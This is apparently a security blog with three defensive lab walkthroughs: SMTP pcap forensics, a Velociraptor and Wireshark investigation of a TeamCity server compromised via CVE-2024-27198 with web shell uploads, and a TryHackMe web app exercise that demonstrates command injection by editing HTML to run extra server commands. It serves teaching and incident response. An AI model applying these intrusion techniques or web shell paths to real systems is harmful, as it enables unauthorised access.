Welcome to my weekly walkthrough! If you’ve stumbled across this blog looking for a practical guide to the Disclose the Agent challenge from LetsDefend, you’re in the right place. This challenge is a great introduction to investigating network traffic and carving out email-based artifacts using Wireshark — let’s check out the scenario below.

Challenge Scenario:

We reached the data of an agent leaking information. You have to disclose the agent.

Log file: /root/Desktop/ChallengeFile/smtpchallenge.pcap

Note: pcap file found public resources.

Got it! We’re provided with a PCAP file and need to investigate a malicious insider leaking information. To figure out what’s going on, we’ll use the network traffic analysis tool Wireshark to extract email communications, uncover clues within the message contents, and paint the full picture.

This challenge is a great opportunity to practice protocol-level analysis, decode encoded credentials, and reconstruct file attachments from raw packet data. Sounds like fun, right? Let’s get into it!

If you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What is the email address of Ann’s secret boyfriend?

Let’s kick off this investigation by opening the ChallengeFile folder and locating the artifact smtpchallenge.pcap.

So, what do we do with this? Well, a PCAP file is a network packet capture file containing the packet-level details of a network session. For this challenge, we’ll be leveraging Wireshark to view the pcap and perform our analysis. Double-click the file to open it.

Location of the ChallengeFile

To answer Question 1, we’re searching for an email exchange between Ann and a secret boyfriend. For this, we can focus on filtering the Wireshark traffic for the Simple Mail Transfer Protocol (SMTP) packets. If you’re unfamiliar with this protocol, here’s some background from the Wireshark Wiki that’s helpful to know for this challenge:

This protocol is widely use to send e-Mail from the authors mail program to the mail server and between servers too.

Typically, SMTP uses TCP as its transport protocol. The well known TCP port for SMTP traffic is 25.

SMTP uses MIME_multipart to transfer attachments

The idea here is to filter SMTP traffic to review emails that Ann sent. Hopefully, this contains some kind of clue about the identity of her boyfriend. To perform the filtering, simply enter the protocol name smtp into Wireshark’s filtering box.

Once the filter is applied, search through the traffic to find the first displayed SMTP packet („– 56). Once we’ve found it, right-click the line and select Follow > TCP Stream. This will open up the TCP stream window for us to view the contents.

Wireshark: Packet 56— following the TCP stream

Unfortunately, while interesting, this message stream doesn’t contain any spicy details about Ann’s affair. Let’s try another stream containing another message…

Wireshark: The contents of TCP Stream 0

Let’s check the next SMTP stream starting with packet number 116. Follow the same process to view the TCP stream.

Wireshark: Packet 116 — following the TCP stream

Now we’ve got them! This message is much more suggestive, and we can confirm the email address of Ann’s boyfriend — the elusive “Mister Secret.”

Wireshark: Identifying the email of Anne’s secret boyfriend

Question 2: What is Ann’s email password?

Our next objective to answer Question 2 is to determine Ann’s email password. SMTP traffic is transmitted in clear text by default, meaning that the authentication credentials could be visible in the PCAP file.

Let’s find out! To illustrate this, close the TCP stream window and zoom out to the packet view again. Here, we’re able to see the complete user authentication flow (packets 120€“128), including the PASS field containing the password.

Wireshark: Identifying the SMTP password field

Just one small obstacle: the field appears to be encoded, so the password isn’t as it appears here. Remember, encoding is not the same as encryption, so we should be able to simply decode the PASS string. To do this, right-click the packet and select Protocol Preferences > Decode Base64 encoded AUTH parameters.

Wireshark: Applying the Base64 decode operation

This automatically decodes the password for Ann’s email — great find!

Wireshark: Viewing the decoded password

Question 3: What is the name of the file that Ann sent to his secret lover?

To answer Question 3, navigate back to the TCP stream window. For this task, we’re looking for the name of the file that Ann sent. You might recall from the SMTP notes on the Wireshark Wiki that:

SMTP uses MIME_multipart to transfer attachments.

Wireshark: Identifying the attachment filename in the MIME section

This means that by scrolling down to the MIME contents section, we can discover the filename field containing the name of the attachment — secretrendezvous.docx.

Question 4: In what country will Ann meet with her secret lover?

To find the answer to Question 4, turn your attention to the big blob of encoded text following filename="secretrendezvous.docx" that we found in the previous question.

Wireshark: The encoded attachment

The encoded content between the filename and the ending boundary --=_NextPart_000_000D_01CA497C.9DEC1E70 is actually the .docx file attachment. With a little know-how and effort, we can convert this blob into the original, readable file.

The first step is to copy the blob to the clipboard and paste it into a text editor like Mousepad, which is built into the LetsDefend VM.

Mousepad: Pasting the Base64 blob

Once the contents have been pasted into the empty document, go ahead and save it.

Next, we’ll leverage the base64 command to decode the contents and output them into a new file, secretrendezvous.docx. Use the command below to watch the magic happen:

base64 -d -i secretrendezvous > secretrendezvous.docx

Now that the encoded contents have been piped to a new .docx file, go ahead and open it to find a map location for the secret rendezvous!

The rendezvous location revealed

Question 5: What is the MD5 value of the attachment Ann sent?

To wrap up our investigation and answer Question 5, we simply need to determine the MD5 hash value of the secretrendezvous.docx attachment that Ann sent.

We’ve already done most of the legwork by reassembling this artifact from the TCP stream, so now we just need to run the md5sum command from the terminal to grab the hash:

md5sum secretrendezvous.docx

Terminal: Calculating the MD5 hash of the document

9e423e11db88f01bbff81172839e1923

The resulting output is the MD5 hash value we need to answer the final question. This is a handy thing to have in the real world since it serves as a file-level signature, and can be used to confirm that the file is identical to the original document, or to pivot into threat intelligence platforms to check if this exact specific file has been seen before.

In this case, the content is innocuous — but still interesting.

Conclusion:

How fun was that! A big shoutout to LetsDefend for putting out another great challenge.

This one was a solid exercise in classic network forensics and gave us the chance to work through a plausible real-world email analysis scenario. From filtering SMTP traffic in Wireshark, to decoding Base64-encoded credentials, and even reconstructing a .docx file from raw packet data — this challenge packed a lot of practical skills into a focused investigation.

I picked this one because I wanted to brush up on SMTP packet analysis and get some reps in with extracting email-based artifacts, which are still incredibly relevant in phishing investigations and insider threat cases. Each question built naturally on the last, and I’m always a fan of a fun narrative to chase during these challenges. All in all — very fun!

Thanks for following along and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback keeps me going and helps me keep supporting your security journey. Remember, cybersecurity is a team sport — and we’re in this together.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/disclose-the-agent

Wireshark: https://www.wireshark.org/

Wireshark Docs — SMTP: https://wiki.wireshark.org/SMTP

LetsDefend — Velociraptor Challenge Walkthrough

Sun, 07 Sep 2025 00:00:00 +0000

LetsDefend — Velociraptor Challenge Walkthrough

Investigating a Compromised Web Server Using Velociraptor, Wireshark, and Cyber Threat Intelligence.

https://app.letsdefend.io/challenge/velociraptor

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Velociraptor challenge from LetsDefend, you’re in the right place. This challenge is a fantastic introduction to collecting and investigating endpoint artifacts — let’s check out the scenario below.

Challenge Scenario:

Your organization recently discovered a potential security incident involving a critical web server. The Security Operations Center (SOC) detected unusual traffic patterns and suspicious activity targeting this server. Initial investigations suggest that the breach may have been caused by a well-known exploit that has not yet been patched. Due to the critical nature of the web server and the sensitivity of the data it handles, immediate action is required to confirm the breach, contain the threat, and mitigate further risks.

You are provided with network traffic and EDR logs to identify how the attacker gained access and what actions they took.

It sounds like we’ve got our work cut out for us to investigate what happened to the web server and how it was compromised. But we’re not on our own — we’re provided with a rich set of forensic log artifacts generated by Velociraptor that we can use to put the pieces together.

To accomplish this, we’ll leverage our DFIR knowledge and apply it to investigating the Velociraptor artifacts. Since this challenge also serves as an introduction to Velociraptor, we’ll lean heavily on the documentation to add context and learn more about how the tool works. After that, we’ll dive into Wireshark to analyze the collected network packet data to get further details. Once we’ve identified the vulnerability abused by the attacker, we’ll pivot to some additional threat research to add further context and tie the whole thing together.

Sounds like fun, right? Let’s get our hands dirty.

If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What is the Client ID associated with the EDR logs?

Let’s kick off our investigation by navigating to the ChallengeFile directory within the LetsDefend VM. Inside this directory, we’re presented with two files: EDR-LOGS and EDR-LOGS.zip.

Overview of the ChallengeFile folder

We’re going to focus on the unzipped file, but before we go too much further, let’s get some background on the tool that generated these logs — Velociraptor. According to the project’s documentation, _Velociraptor is " # "

an advanced digital forensic and incident response tool that enhances your visibility into your endpoints.“Typically, Velociraptor runs in a client/server configuration where a client agent sends artifacts and data to a Velociraptor server. From the server, a security analyst can review the collected logs for endpoint monitoring and hunting. Sounds awesome, right? But also well beyond the scope of this challenge.

Back in our ChallengeFile folder, we’ll find a series of logs collected by the Velociraptor offline collector, which can be used for artifact collection without the use of a server. This means that we’ll be manually investigating artifacts collected by Velociraptor locally and won’t need to open a Velociraptor server instance.

To answer Question 1, we need to determine the client ID associated with the Velociraptor logs. In Velociraptor, a client_id is a unique identifier for a specific endpoint, or client. We can locate this information in the client_info log:

client_info :: Velociraptor - Digging deeper! _Required permissions: READ_RESULTS Returns client info (like the fqdn) for a specific client from the datastore. You…_docs.velociraptor.app

In your VM, navigate to the directory below and open the client_info.json file:

Locating the client_info.json file

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/client_info.json

Inside, you’ll find the client_id on line 2.

Question 2: What is the Flow ID of the current logs?

Next, we need to identify the Flow ID of the current logs. Flows are used to track the execution of a collection from Velociraptor to an endpoint. Each flow represents a specific collection event, and its ID helps analysts correlate artifacts to the collection process.

We can find this information in the collection_context.json log.

Locating the collection_context.json file

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/collection_context.json

Question 3: The web server was running on a container. What is the parent process ID of the container (PPID)?

To answer Question 3, our next objective is to determine what container service the victim web server was running. As we continue exploring the Velociraptor artifacts, we’ll stumble on the results directly, with several logs referencing Docker, a common containerization service.

Since we’re interested in the parent process ID (PPID) of the container service process, let’s open the process list artifact: Linux.Sys.Pslist.json.

Locating the Linux.Sys.Pstlist.json file

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Sys.Pslist.json

With the log file open, let’s simply use the find function (CTRL+F) and search for docker to help us locate relevant entries. Because we’re investigating suspicious network traffic on the web server, we’ll focus on the docker-proxy process (line 80) which is responsible for forwarding network traffic to the proper container.

Identifying Docker processes in the Linux.Sys.Pslist.json log

After examining the Ppid value, we can see that the parent process ID is 5123, which corresponds to the dockerd service.

Question 4: What is the docker version that is running the web server?

Okay, now that we understand the web server was running on a Docker container, we can start determining which exploit the web server might’ve been vulnerable to. But first, we need to identify which Docker version was in use.

To do this, we’ll use one of the available Docker-related logs in the results folder: Linux.Applications.Docker.Version.json.

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Applications.Docker.Version.json

Inside this log, we’ll find the version string identifying the Docker version as 26.1.2.

Identifying Docker processes in the Linux.Applications.Docker.Version log

Question 5: What is the IP address of the attacker?

Moving right along! Our next task is to discover the IP address of the attacker. This is a key step in correlating with any other activity performed by the attacker. But first, let’s identify the local IP of the victim web server so we can better understand our environment. For this, we’ll look at the Linux.Network.Netstat.json artifact in the results folder.

By examining the contents of this log, we can determine the LocalAddr of the client the Velociraptor logs were collected from — 172.31.29.22.

Identifying Docker processes in the Linux.Network.Netstat log

Now that we’ve identified the local client IP, we’ll need to examine the network packet captures to uncover the attacker’s IP.

Fortunately, Velociraptor also performs a network traffic capture and saves this data as a PCAP file that can be examined with a tool like Wireshark. We’ll find the CaptureTraffic.pcap file in the directory below. Double-click the file to open it with Wireshark.

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/uploads/auto/tmp/CaptureTraffic.pcap

With the PCAP open, we’ll use Wireshark’s Endpoint Statistics view to get a high-level survey of all IP addresses contained within the capture. To access this, press Statistics and then select Endpoints.

Wireshark: Accessing the Endpoint Statistics view

Check the tab labeled IPv4. This shows us that there are 88 host IPs contained in the log — so how do we determine which one belongs to the attacker? For this, we’ll sort by the total number of packets to surface the top traffic endpoints to the top of the list.

Wireshark: Identifying the top traffic endpoints

This method helps us quickly identify the most active IP addresses, which we can then check against external threat intelligence services to search for indicators of malicious activity.

For example, the second entry on the list is an external IP address — 95[.]164[.]9[.]144. This IP is the top external talker. Let’s see what additional information we can find about it.

While there are plenty of excellent threat intelligence services, we’ll use ipinfo.io to get an overview of this IP address and SOC Radar’s IOC Radar to uncover threat intelligence.

Checking IPinfo first, we’ll see that this IP address is part of the Stark-Industries Solutions ASN, a well-known bulletproof hosting provider of VPN and proxy services. That’s already suspicious…

IPinfo: https://ipinfo.io/95.164.9.144?lookup_source=search-bar

Next, checking SOC Radar, we’ll discover that this IP address is also associated with some suspicious activities.

SOCRadar: https://socradar.io/labs/app/ioc-radar/95.164.9.144

For the purposes of our investigation, the combination of the volume of traffic in the network logs, the IP’s ASN, and the threat intelligence verdict is enough to reasonably guess that this is the attacker’s IP. We’ll confirm this through additional activities later.

Question 6: To determine if there are any exploits targeting the server, identify the build version of the web server service. What is the build version?

Now that we’ve identified the attacker’s IP address, it’s time to dig a little deeper into the packet captures to determine what activities were performed. As a starting point, we need to find the build version of the web server service.

From our Endpoint Statistics window in Wireshark, right-click the attacker’s IP address and add it as a filter. This will isolate traffic related to that IP in the Wireshark window. From there, right-click a packet (I used packet number 4040) and select Follow > TCP Stream.

Wireshark: Filtering the attacker’s IP and following the TCP stream

While there’s a ton of information to sift through, we’ll stay focused on Question 6 and look for the build number by using the search box at the bottom of the pane and entering buildnumber.

Wireshark: Discovering the TeamCity server build number

This search brings us directly to a segment that gives us extremely helpful information: the server is a JetBrains TeamCity instance with a build number of 147512.

Question 7: The attacker took advantage of a known exploit to that version of the service. What is the CVE number for the exploit that he used?

From the information we discovered in Question 6, we now have enough evidence to start tying things together and identifying which CVE was exploited.

For background, TeamCity is a CI/CD platform for software development. If we do a quick search for TeamCity Server build 147512, we’ll immediately find dozens of entries discussing exploitation of vulnerable TeamCity servers.

For this walkthrough, I’ll be referencing the excellent blog post from Rapid7:

JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities | Rapid7 Blog _In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity…_www.rapid7.com

The Rapid7 post documents some important details related to our investigation.

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

CVE-2024€“27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).

CVE-2024€“27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024€“27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE

Given that our server is running build 147512, which falls below the patched version 2023.11.4, and considering the nature of the attack and the volume of traffic observed, it’s highly likely that CVE-2024-27198 was used to compromise the web server.

Question 8: The attacker created multiple usernames and passwords on the service. What is the first username and password created?

We now understand that the TeamCity server was compromised using CVE-2024€“27198 to achieve remote code execution. To answer Question 8, we need to identify specific activities performed by the threat actor — including what user accounts were created.

For this part of the analysis, we’ll jump back into Wireshark and adjust our filter based on new details we discovered from the Rapid7 blog, including the protocol and port exposed by the TeamCity web server:

" # "

TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.”

Back in Wireshark, let’s apply a filter to focus only on network activity from the attacker’s IP to the exposed port 8111 over http:

tcp.port == 8111 && http && ip.src_host == 95.164.9.144

With our new filters in place, we can scroll through the packets until we stumble upon a POST request to the resource /app/rest/users. This API endpoint appears to be used for user creation.

Selecting the first one we found (packet 4814), we can confirm this as the packet details contain evidence of user creation and password assignment.

Wireshark: Identifying user creation through a POST request

This method provides a reliable way to track user creation at the packet level through HTTP POST requests to the exposed port which we can use to determine the first user created and answer Question 8. Good find!

Question 9: The attacker used the newly created user to upload a web shell. What endpoint was used to upload the web shell?

To answer Question 9, we need to identify the endpoint used to upload a web shell. Referring to the Rapid7 blog again, we learn that another post-exploitation indicator of compromise (IOC) in this attack is the upload of a malicious plugin.

By searching for an endpoint in the Wireshark traffic associated with this activity, we can determine which one was used. Scrolling through the packets, we stumble on packet 4939, which is an HTTP POST request to the /admin/pluginUpload.html endpoint — this seems to be the likely answer.

Wireshark: Finding evidence of an upload endpoint

Based on the evidence, it seems that this endpoint is used to manage TeamCity plugins and that the attacker’s web shell is disguised as a plugin.

Question 10: The attacker uploaded a web shell using the newly created user. What is the full URL of the uploaded web shell?

Now that we’ve identified the endpoint the web shell was uploaded to, we need to determine the full URL of the web shell itself. You may have noticed in Question 9 that the packet details included a filename: 5z6p8kCA.zip.

Wireshark: Identifying the web shell filename

Let’s get more information by following the TCP stream for the packet we found in the previous question (4939). Once in the TCP stream window, search for the filename of the web shell. We’ll see a POST request referring to a .jsp plugin with the same name.

Wireshark: Identifying the resource path of the uploaded web shell

From this, we can infer the full URL of the uploaded web shell:

http://18.159.50.167:8111/plugins/5z6p8kCA/5z6p8kCA.jsp

Question 11: The attacker created another user named 41m67llo and uploaded another web shell. What is the name of the ZIP file that was uploaded?

We’re closing in on the end of our investigation and are provided with an extremely helpful detail that’ll help us identify the second web shell quickly — the username 41m67llo.

Since we already have this detail, we can leverage Wireshark’s string search function to quickly locate the first packet containing this username, which lets us examine the TCP stream.

First, press the magnifying glass icon above the filter box. Then select Packet Details to search the packet details pane. Finally, change the search type to String and enter the username.

Wireshark: Locating the provided username in the packet details

The search brings us to packet 6553 — you know the drill, follow the TCP stream:

Wireshark: Following the TCP stream for the identified user

Once inside the TCP stream window, we’ll use the search function again to look for the string "upload" since we’re looking for another web shell upload. This reveals the filename of the second web shell: V5HwJgS3.zip.

Wireshark: Locating the second web shell in the TCP stream

Question 12: The attacker created a file on the system containing some text. What is the text inside that file?

On to our final objective — discovering a text file left behind by the attacker. To do this, we’ll continue working in the same TCP stream window we used in the last question, this time searching for .txt, since that’s the most likely plain text format used.

Once we run the search, we’ll see a command using echo to pipe the attacker’s message into a file named file.txt.

To make the message more readable, we can remove some of the URL encoding. A quick way to do this is to use the Wireshark string search again for a recognizable string from the message (like "BUDD") in the main Wireshark window, now that we understand the context.

This takes us to the corresponding packet where we can see the command and the text piped into the file. Well, that’s a sobering message to read! This confirms that our TeamCity server was compromised and under the attacker’s control.

Conclusion:

Mission Complete!

How fun was that! A huge thank you to LetsDefend for providing another awesome challenge.

This scenario gave us the opportunity to walk through a full TeamCity server compromise: from initial log review to uncovering attacker behavior and identifying post-exploitation artifacts. By leveraging Velociraptor’s collection capabilities, analyzing the packet captures with Wireshark, then correlating the evidence with external threat intelligence, we were able to piece together a timeline of events that started with an unauthenticated exploit and ended with multiple web shells and a notice of pwnage left on the system.

The attacker’s use of CVE-2024€“27198 to bypass authentication and gain remote code execution on a vulnerable TeamCity server is a stark reminder of the importance of timely patching.

I chose this challenge to get more familiar with Velociraptor, and I didn’t realize going in that we wouldn’t be using the GUI interface to perform the investigation. I was a little caught off guard, but found it really interesting and valuable to learn how the offline collector works and what artifacts are available from this mode — maybe not the lesson I was looking for initially, but it ended up pretty cool.

I always enjoy trying to determine what specific vulnerability may have been exploited based on the available evidence. So often in vulnerability management, the focus is on prevention — so it’s interesting when it turns into a challenge of detection. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/velociraptor

Velociraptor: https://docs.velociraptor.app/

Velociraptor — Triage and acquisition: https://docs.velociraptor.app/docs/offline_triage/

Velociraptor — client_info: https://docs.velociraptor.app/vql_reference/server/client_info/

Velociraptor — flows: https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/

Wireshark: https://www.wireshark.org/

IPinfo.io: https://ipinfo.io/95.164.9.144?lookup_source=search-bar

**Krebs on Security " # "

Stark Industries Solutions: An Iron Hammer in the Cloud" ** : https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/

SOCRadar - IOC Radar: https://socradar.io/labs/app/ioc-radar/95.164.9.144

**Rapid7 — " # "

CVE-2024€“27198 and CVE-2024€“27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)" :** https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

National Vulnerability Database — CVE-2024€“27198: https://nvd.nist.gov/vuln/detail/cve-2024-27198

TryHackMe — Traverse Challenge Walkthrough

Sun, 24 Aug 2025 00:00:00 +0000

TryHackMe — Traverse Challenge Walkthrough

Investigating and Restoring a Compromised Web Application Using a Web Browser, OWASP ZAP, and Postman

Image Credit: https://tryhackme.com/room/traverse

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Traverse challenge from TryHackMe, you’re in the right spot. This challenge is a fantastic deep dive into investigating a compromised web application — let’s check out the scenario below.

Challenge Scenario:

Bob is a security engineer at a firm and works closely with the software/DevOps team to develop a tourism web application. Once the website was moved from QA to Production, the team noticed that the website was getting hacked daily and wanted to know the exact reason. Bob consulted the blue team as well but has yet to be successful. Therefore, he finally enrolled in the Software Security pathway at THM to learn if he was doing something wrong.

It sounds like we’ve got our work cut out for us to get Bob and his team back on track. But unlike Bob, we’ve already completed the Software Security pathway — and this challenge is one of its capstones, tying together all the key concepts. That means we’re well equipped to tackle this challenge. We’ll explore topics like the OWASP Top 10, SSDLC, Dynamic Application Security Testing, and more.

To accomplish this, we’ll leverage our knowledge of web applications and use tools like OWASP ZAP and Postman to complete our objectives. Sounds like fun, right? Let’s get into it!

In the spirit of learning, this write-up is spoiler-free_._ But, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What type of encoding is used by the hackers to obfuscate the JavaScript file?

Let’s kick off this investigation by spinning up the challenge virtual machine and launching your TryHackMe AttackBox.

Our first task is to determine what encoding is used to obfuscate the JavaScript file. To do this, open the Firefox browser from the AttackBox and navigate to the URL for the challenge. Once the page loads, we’ll see that the website has been defaced with a message from the attacker — uh oh!

Browser: Navigating to the defaced web site

For our purposes, we’ll need to leverage the browser’s Developer Tools to identify any JavaScript files loaded by the website and see if we can find anything suspicious. First, press F12 to load up the developer tools.

Browser: Using developer tools to identify JavaScript loaded by the page

On the Inspector tab, we’ll discover two commented JavaScript files, but the one we’re interested in is custom.min.js, indicated by the comment “THIS IS CUSTOM JS FILE.“Let’s flip over to the Network tab of the developer tools. Select the JS filter to help us quickly locate the two scripts. Then, select the custom.min.js file and click the Response tab.

Browser: Identifying the encoded JavaScript payload

Within the response payload, we can see a suspicious comment likely left by the attacker. Right below it, we see that the payload is obfuscated. Based on the format, we can determine the encoding.

Since this walkthrough doesn’t contain spoilers, you’ll have to figure out which common encoding method is used on your own. We’ll confirm this in Question 2 once we start decoding operations.

Question 2: What is the flag value after deobfuscating the file?

Now that we’ve identified the encoded payload, our next objective is to decode it and uncover the flag hidden within. We can accomplish this by leveraging CyberChef, which is conveniently bookmarked in the AttackBox’s Firefox browser.

After opening CyberChef, paste the encoded payload into the input window. Since we already know the type of encoding from Question 1, we’ll need to add the “From [Redacted]” operation to the recipe.

CyberChef: Decoding the JavaScript payload

Once the operation completes, look for a function resembling ("Flag: "+n+" "+e+" "+o+" "+i). This is our clue. All we need to do now is refer to the variables n, e, o, and i. Each one is assigned a dictionary word. When we combine them, we get the flag — and a hint to continue our investigation.

Question 3: Logging is an important aspect. What is the name of the file containing email dumps?

To answer Question 3, we need to map any additional URLs on the compromised web application — specifically any resource that could contain email dumps.

For this challenge, we’ll leverage the Spider capabilities of the OWASP ZAP tool**,** which was covered in the Dynamic Application Security Testing room of the Software Security module. For context, according to the ZAP documentation, the Spider is:

A tool that is used to automatically discover new resources (URLs) on a particular Site. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. The Spider then visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit and the process continues recursively as long as new resources are found.

So, the idea is that by leveraging the Spider, we can automatically discover new resources and not have to manually hunt through the browser — awesome! Let’s try it out.

First, press the Tools menu and select Spider. Once the Spider’s Scope window opens, add your Challenge Machine IP to the starting point field, tick the recurse option, and press Start Scan.

ZAP: Configuring the Spider

Once the enumeration finishes, we’ll be able to see all the discovered resources in the left-hand column. Since we’re looking specifically for logs, expand the logs node. Notice the .txt file? This is the file containing the email dumps that we’re searching for.

By using ZAP’s Spider capability, we’ve quickly identified this file.

ZAP: Reviewing the Spider results

Question 4: The logs folder contains email logs and has a message for the software team lead. What is the name of the directory that Bob has created?

Now that we’ve discovered the URL of the email logs, we can right-click the entry from ZAP and select “Open URL in Browser.” This will open the resource in your web browser so we can read the contents.

Browser: The contents of email_dump.txt

Inside email_dump.txt, we’ll find a message from Bob sent to Mark, the software team lead. It contains a clue pointing to the location of a directory Bob created. He mentions: “I named the API folder under the name of the first phase of the SSDLC.“So, what is the first phase of the SSDLC? This was covered in the SSDLC room of the TryHackMe Software Security module. We just need to refer back to the Phases of Secure Software Development Life Cycle diagram to determine the name of the folder Bob created, containing the API documentation.

Image Credit: https://tryhackme.com/room/securesdlc

Question 5: What is the key file for opening the directory that Bob has created for Mark?

Another handy clue that Bob left for Mark in his email is the key to accessing the page contents — thanks, Bob!

Browser: Identifying the password in email_dump.txt

Our next task is to use this password to access the API documentation. Let’s check it out!

Question 6: What is the email address for ID 5 using the leaked API endpoint?

Now that we’ve identified the URL and key to access the API documentation in the last two questions, let’s navigate to it in the browser:

http:///<QUESTION 4 ANSWER>

Upon accessing the page, we’ll be challenged for a password — this is where we can use the credential we found in Question 5.

Browser: Accessing the API Documentation

Now that we’ve accessed the page, we can check out the API documentation, which gives us detailed instructions on how to query specific customers by ID — awesome!

Browser: Accessing the API documentation

So, we have API documentation, but how do we actually query these customer IDs? For this task, we’ll switch to the application Postman, an all-in-one API platform. Postman is pre-installed on the THM AttackBox, with a shortcut located in /root/Desktop/Tools/Web.

Go ahead and open Postman. Here’s how we’ll build our query using Bob’s API documentation as a reference:

Set the HTTP Method to GET
Input the URL of your challenge machine: http://<YOUR CHALLENGE IP>/api
Set the Query Parameters:

KEY = customer_id
VALUE = 5

Press Send

Postman: Building the API query

This will create a request that matches the requirements of the API documentation and allows us to query the web app for a customer ID of 5. Press Send to send the request.

Postman: Identifying the email address of user ID 5

This will return the data for the user with ID 5, John, including his email address, which we need to answer Question 6.

Questions 7 & 8:

What is the ID for the user with admin privileges?

What is the endpoint for logging in as the admin? Mention the last endpoint instead of the URL. For example, if the answer is URL is tryhackme.com/admin — Just write /admin.

To answer Questions 7 & 8, we’ll need to first identify a user with the admin role, and then locate the login endpoint used to access administrative functions. We already know that John (a regular user) is ID 5, so we’ll start by changing the query VALUE and checking lower numbers like 1, 2, 3, 4, etc.

Eventually, our manual enumeration efforts pay off and we stumble upon the ID related to the admin role.

Postman: Identifying the admin user

Not only did we discover the admin user with our query, but we also uncovered the login endpoint used to access the administrative functions of the web app.

These are good reminders of how easily sensitive information can be disclosed without proper access controls. Lock it down!

Questions 9 & 10:

The attacker uploaded a web shell and renamed a file used for managing the server. Can you find the name of the web shell that the attacker has uploaded?

What is the name of the file renamed by the attacker for managing the web server?

For our next two tasks, we’re going to leverage the exposed credentials and login endpoint we found in Questions 7 & 8 to access the admin page through the browser.

Use your browser to connect to the endpoint and input the credentials when prompted.

Browser: Accessing the admin login endpoint

Once we’ve gained access to the Admin Page, we’ll see that we have the ability to execute commands on the underlying server. For example, we have the Current Directory and System Owner commands. Executing each of them seems to trigger different system-level commands: pwd lists the current directory, and whoami lists the current user.

But what if there’s a way to execute additional commands from this same admin page?

Browser: The Admin Page command execution interface

Let’s press F12 to open the browser’s developer tools again. This time, we’ll inspect the command input field. Notice anything interesting?

Browser: Inspecting the command execution elements

We can see that our theory was correct. The two available commands are simply executing whoami and pwd on the web server’s operating system. Let’s test if this field is vulnerable to command injection by adding an additional command.

To do this, right-click the <select name="commands"> tag and edit the HTML to add another command to list the contents of the current directory. For this example, we’ll use ls -la — who knows, maybe we’ll find the web shell.

Browser: HTML Manipulation

Now that we’ve edited the HTML on the client side, let’s execute our new List Contents command.

Bingo! By executing this command, we’ve successfully revealed the web server’s directory contents and uncovered some very valuable information, including the two file names we need to answer Questions 9 & 10. This confirms that the web application is vulnerable to command injection.

For additional context on this technique, check out the OWASP Top 10:2021 page. Here’s a quote from the TryHackMe OWASP Top 10–2021 room:

OWASP Top 10: 2021 — A04 — Command Injection: This occurs when user input is passed to system commands. As a result, an attacker can execute arbitrary system commands on application servers, potentially allowing them to access users’ systems.

Question 11: Can you use the file manager to restore the original website by removing the “FINALLY HACKED” message? What is the flag value after restoring the main website?

We’ve made it to our final objective — restoring the website to its original state before the hack. The cool part is that this task builds directly off the information we uncovered in Question 10 — specifically, the filename of the original file manager for this web app.

Navigate to the renamed URL from Question 10 to access the file manager. We’ll also need the password, which we also discovered after listing the web server contents with our ls -la command. This will allow us to log in and begin restoring the site.

Browser: The Admin File Manager login page

Once inside the file manager, locate and open the index.php file with the Edit action.

File Manager: Identifying the index.php file

Inside the editor, we’ll see the message header “FINALLY HACKED.” Looking further down the PHP code, there’s a condition: if the $message variable does not equal “FINALLY HACKED”, the final flag will be displayed.

Let’s go ahead and remove the $message variable, save the file, and reload the web app’s home page.

With the defacement removed, we’re rewarded with the final flag on the restored website. Great job! Now let’s wrap up this challenge.

Conclusion:

How fun was that! A big thank you to TryHackMe for another awesome challenge.

This challenge was a great capstone for the Software Security module and tied together so many concepts covered in the content. It offered a realistic example of how layered vulnerabilities like exposed credentials, weak access controls, and command injection can compound into full web server compromise.

As we moved through the investigation, we not only followed the attacker’s trail but also restored the integrity of the web application. Of course, this is only a short-term fix, and Bob definitely has his work cut out for him to get this app properly locked down.

